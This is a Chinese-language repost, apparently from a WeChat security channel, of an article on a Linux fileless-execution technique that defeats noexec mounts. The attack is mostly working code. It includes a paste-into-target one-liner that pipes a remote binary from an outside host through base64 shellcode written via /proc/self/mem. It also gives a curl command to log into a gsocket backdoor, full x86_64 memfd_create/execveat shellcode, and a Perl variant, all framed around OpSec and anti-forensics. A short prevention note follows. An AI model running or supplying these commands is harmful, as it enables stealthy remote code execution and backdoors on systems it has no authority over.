长话短说: 当执行不被允许时(例如受限的 PHP 环境、只读文件系统或 noexec 挂载标志),在 Linux 系统上执行二进制文件。仅使用 Bash 并从 Bash 中进行系统调用,将 ELF 二进制文件直接从互联网传输到 Bash 的地址空间 - 无需接触硬盘,也无需使用 ptrace() 或 mmap()。
源代码:
https://github.com/hackerschoice/memexec
无文件执行是指在不接触文件系统的情况下运行可执行文件的过程。这个想法本身并不新鲜,过去已有多项相关研究。
大多数(或全部?)过去的技巧都调用了 mmap(2) 或需要 ptrace(2) - 因此在使用 noexec 挂载标志或禁止 ptrace 时会失败。
虽然我们承认在这个问题上是站在巨人的肩膀上,但我们为您带来了一种快速可靠的无文件执行技巧,唯一的要求是 bash 和几个核心工具(cat、cut、base64 和 dd)。
Bash 只是充当我们的 shellcode + 后门的孵化器。我们还使用 Perl 或 PHP 实现了相同的功能(它们不依赖 cat、cut、base64 或 dd)。此外,Perl 版本不需要访问 /proc/self/mem
,因此也可以在容器内工作。PHP 版本非常适合那些没有 Shell 访问权限和执行权限的网络云提供商。
那么,为什么你会需要无文件执行呢?
-
你没有权限写入主机上的任何位置。 -
你有权限写入某个位置,但无法执行任何内容,且用户空间执行(ulexec 或 ld-linux.so)失败。(noexec) -
常用的 tmpfs 位置(如 /dev/shm)被标记为 noexec。 -
这通常被认为是一种良好的 OpSec / 反取证实践,因为你的二进制文件不会在重启后存活。
这种执行技巧使用了社区发现的两种独立技术。
-
创建内存支持的文件描述符: 使用 memfd_create(2) 系统调用来创建一个文件描述符,它指向一个完全存在于 RAM 中且不依赖持久存储的文件。这可以用来(暂时)存储我们希望执行的文件。
-
通过写入 /proc/self/mem 修改进程映像:
/proc/self/mem
为进程内存提供了一个简单的文件接口,我们可以利用它向进程内存写入任意 shellcode。为了实际执行 shellcode,我们可以选择由指令指针持有的内存位置,这样当 CPU 恢复进程执行时,我们的 shellcode 就会被执行。
将以下内容复制粘贴到目标的 shell 中:
curl -fsSL https://thc.org/gs-demo.x86
| bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SInlSIHsEgQAAEi4a2VybmVsAABqAFC4PwEAAEiJ50gx9g8FSYnAuAAAAAC/AAAAAEiJ5roABAAADwVIicJIg/oAfg+4AQAAAEyJx0iJ5g8F69S4QgEAAEyJx2oASInmagBUSIniSDHJTTHJTTHSQbgAEAAADwW4PAAAAL9jAAAADwU=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
# 然后用以下命令登录你的后门系统:
# S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
现在让我们仔细看看这个技巧本身,并逐步分解它:
-
从外部源获取二进制文件/后门,并通过管道传输到 bash 的标准输入。
-
启动一个 Bash 进程。命令行 -c 包含 3 个命令,用 ; 分隔,由 Bash 按顺序执行:
-
Bash 切换到 /proc/$$ (与 /proc/self 相同,但更短)。 -
创建一个文件描述符(4)。 -
最后一个命令包含子命令 $(cat syscall| cut -f9 -d" "),Bash
需要在调用 dd 或 base64 之前执行这个子命令。Bash 通过 fork 并在 wait(2) 系统调用中等待 fork 的子进程完成来执行这个子命令。在等待时,父 Bash 的指令指针可以通过/proc/$$/syscall
获取 - 它是 libc 中某处 wait(2) 系统调用存根的地址。 -
fork 的子进程输出这个指令指针。稍后,dd 会将这个地址作为其命令行选项,用于覆盖 wait() 系统调用存根(例如,libc 中某处的 .text 段)。 -
一个 base64 编码的 shellcode 被解码并通过管道传输给 dd。 -
然后 dd 跳转到步骤 4 中的内存位置,并将 shellcode 从标准输入复制到进程的内存(使用步骤 2 中打开的文件描述符)。 -
Bash 再次在相同的 wait(2) 系统调用中等待 base64 和 dd 执行完毕。这一点很重要。 -
Bash 不知道的是,在等待时,它自己的 .text 段已经被我们的 shellcode 覆盖了 - 就在 Bash 等待的位置。 -
一旦 shellcode 被写入进程内存,并且 bash 执行的最后一个程序(即 dd)退出,控制权就会返回给 bash。执行从指令指针保存的内存位置恢复,但我们已经用我们的 shellcode 覆盖了那个位置。现在执行的是我们的 shellcode。
-
现在让我们看看 shellcode 本身以及它如何执行我们的二进制文件:
section .text
global _start
_start:
; create a buffer
mov rbp, rsp
sub rsp, 1042
; create a memory fd
mov rax, 0x6c656e72656b ; kernel
push 0
push rax
mov rax, 319 ; memfd_create
mov rdi, rsp ; name - kernel
xor rsi, rsi ; no MFD_CLOEXEC
syscall
mov r8, rdx ; save memfd number
loop:
mov rax, 0 ; read
mov rdi, 0 ; stdin
mov rsi, rsp ; pointer to buffer
mov rdx, 1024 ; number of bytes to read at time
syscall
mov rdx, rax ; store no of bytes read in rdx
; check if we reached the end of the file
cmp rdx, 0
jle exit ; if bytes read is 0, close the file
; write data to mem_fd
mov rax, 1
mov rdi, r8 ; mem_fd number
mov rsi, rsp ; buffer
;rdx already has the amount of bytes previously read
syscall
jmp loop
exit:
; execveat the program in memfd
mov rax, 322 ; execveat
mov rdi, r8 ; memfd
push 0
mov rsi, rsp ; path (empty string)
push 0
push rsp
mov rdx, rsp ; ARGV (pointer to a array containing a pointer to a empty string)
mov r8, 4096 ; AT_EMPTY_PATH
syscall
; Exit the program
mov rax, 60 ; sys_exit
mov rdi, 99 ; exit code 99
syscall
-
使用 memfd_create 系统调用创建一个内存支持的文件描述符。 -
在循环中,将二进制文件的内容从标准输入复制到内存支持的文件描述符(记住 - 我们通过标准输入将二进制文件传递给了 bash)。 -
一旦二进制文件完全复制到内存文件描述符,使用 execveat 来运行存储在内存文件描述符中的二进制文件。
Perl 和 PHP 变体:
Perl 原生支持系统调用:我们不需要 shellcode。无需覆盖任何正在运行的进程内存。不需要访问 /proc/self/mem
,并且在 ptrace 不可用时也能工作:
perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};
open($o,">&=".$f);
print$o(<STDIN>);
exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"
# 测试: cat /usr/bin/uname | per '....' -a
PHP 不允许 fork。因此我们使用 PHP 的 fgets()
来读取 /proc/$$/syscall
并在 libc 的 fgets 存根之后覆盖 .text 段。稍后我们需要再次调用 fgets() 以在从 read(2) 系统调用返回时触发我们的 shellcode (libc 的 fgets()
调用 read(2) 系统调用)。
shellcode 的进一步工作:
我们的 shellcode 版本仅适用于 x86_64 机器,还有很多其他架构。我们认为 x86 和 arm 版本可能会很有用。我们将此留给社区来完成。(如果你最终为任何其他架构制作了版本,请在这里提交 PR)。
这个技巧可能不起作用的情况:
-
当对 /proc/self/mem
的访问受到限制时,只有 Perl 变体才能工作(例如在容器内) -
当存在 SELinux 或 GRSecurity 时,它们可能会限制对 memfd_create 的访问。
预防措施:
如果 ptrace()、mmap() 或 memfd_create() 中只有一个可用,这个技巧稍作修改就能工作,禁用 ptrace 也会使 /proc/self/mem
返回 -EPERM。可能还有很多其他技巧可以做同样的事...请你友好的蓝队来解决这个问题吧。
原文始发于微信公众号(独眼情报):Linux安全漏洞:绕过挂载选项参数 noexec 并执行任意文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论